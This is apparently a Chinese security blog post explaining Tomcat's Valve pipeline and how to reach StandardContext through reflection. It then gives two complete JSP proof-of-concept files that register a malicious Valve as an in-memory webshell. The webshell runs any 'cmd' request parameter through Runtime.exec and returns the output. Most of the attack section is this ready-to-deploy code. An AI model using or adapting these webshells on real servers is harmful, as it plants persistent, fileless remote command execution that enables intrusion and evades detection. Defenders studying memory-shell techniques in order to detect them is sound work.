valve型内存马

valve型内存马

参考value内存马 - Java反序列化 - CTF知识点 | mikufans = (viewofthai.link)

pipeline调用链

基础知识

tomcat的adapter到container之间,有个pipeline调用链,

image-20220719161049120

比如在 StandardHostValve 类中是这样调用 vavle 的 invoke() 方法的(直接全局搜索进去看)

image-20220719161816961

看下context

image-20220719161932084

所以invoke是获取StandardContext的valve

然后再每一个invoke()里面又会递归调用

getNext().invoke(request, response); // 获取 StandardContext 的下一个 Valve

所以只要在StandardContext中添加我们的valve,即可注入Valve内存马。

standardContext.getPipeline().addValve(valve);

StandardContext

稍微介绍下StandardContext

StandardContext是Conetxt的实现类,涵盖了Web Application的启动流程,包括使用WebResourceRoot加载资源文件,利用Load加载class,使用JarScanner扫描,实例化Session管理器,初始化各种Listener,Filter和Servlet等功能

内存马都是基于修改StandardContext实现的,所以如何获取StandardContext也是各种内存马的实现重点之一

从request对象获取

从request对象反射出ApplicationContext,再反射出StandardContext

ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

从 ThreadLocal 中获取 request

适用于 Tomcat 7、8、9

参考 https://xz.aliyun.com/t/7388

从 ContextClassLoader 中获取

Tomcat 8、9

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); 

遍历 thread 数组

filter内存马2

遍历 thread 数组获取包含 StandardContext 的类,其中:

  • Acceptor 为全版本 tomcat 都有

  • Tomcat 6、7、8、9 参考 https://xz.aliyun.com/t/9914 下面方法就能够拿到 /manager 下的 StandardContext

poc

思路是

获取StandardContext+自己写一个恶意的valve(实现valve接口)+调用它

我的

<%@ page import="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" %>

<%@ page import="com.sun.org.apache.xalan.internal.xsltc.DOM" %>
<%@ page import="com.sun.org.apache.xml.internal.serializer.SerializationHandler" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.TransletException" %>
<%@ page import="com.sun.org.apache.xml.internal.dtm.DTMAxisIterator" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %><%--
  Created by IntelliJ IDEA.
  User: thai
  Date: 2022/4/20
  Time: 10:51
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Valve valve1 = new Valve()
    {
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException
        {
            String cmd = request.getParameter("cmd");
            if (cmd != null)
            {
                Process process = Runtime.getRuntime().exec(cmd);
                BufferedReader bufferedReader = new BufferedReader(
                        new InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null)
                {
                    stringBuilder.append(line + '\n');
                }
                response.getOutputStream().write(stringBuilder.toString().getBytes());
                response.getOutputStream().flush();
                response.getOutputStream().close();
                return;
            }
            this.getNext().invoke(request, response);
        }

        @Override
        public boolean isAsyncSupported()
        {
            return false;
        }

        @Override
        public Valve getNext()
        {
            return null;
        }

        @Override
        public void setNext(Valve valve)
        {
        }

        @Override
        public void backgroundProcess()
        {
        }

    };

    standardContext.getPipeline().addValve(valve1);
    response.getWriter().write("success");

%>

image-20220720100337761

也可以参考miku师傅的

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>AddVavle</title>
</head>
<body>
<%
    try {
        // 从 ServletContext 中反射获取 ApplicationContext 和 StandardContext
        ServletContext servletContext = request.getSession().getServletContext();
        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

        Valve valve = new Valve() {
            @Override
            public void invoke(Request request, Response response) throws IOException, ServletException {
                HttpServletRequest req = request;
                String cmd = req.getParameter("cmd");
                if (cmd != null) {
                    InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    PrintWriter out = response.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
                this.getNext().invoke(request, response);
            }

            @Override
            public boolean isAsyncSupported() { return false; }

            @Override
            public Valve getNext() { return null; }

            @Override
            public void setNext(Valve valve) {}

            @Override
            public void backgroundProcess() {}
        };

        standardContext.getPipeline().addValve(valve);

        response.getWriter().write("Success");

    } catch (Exception e) {
        e.printStackTrace();
    }
%>
</body>
</html>
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇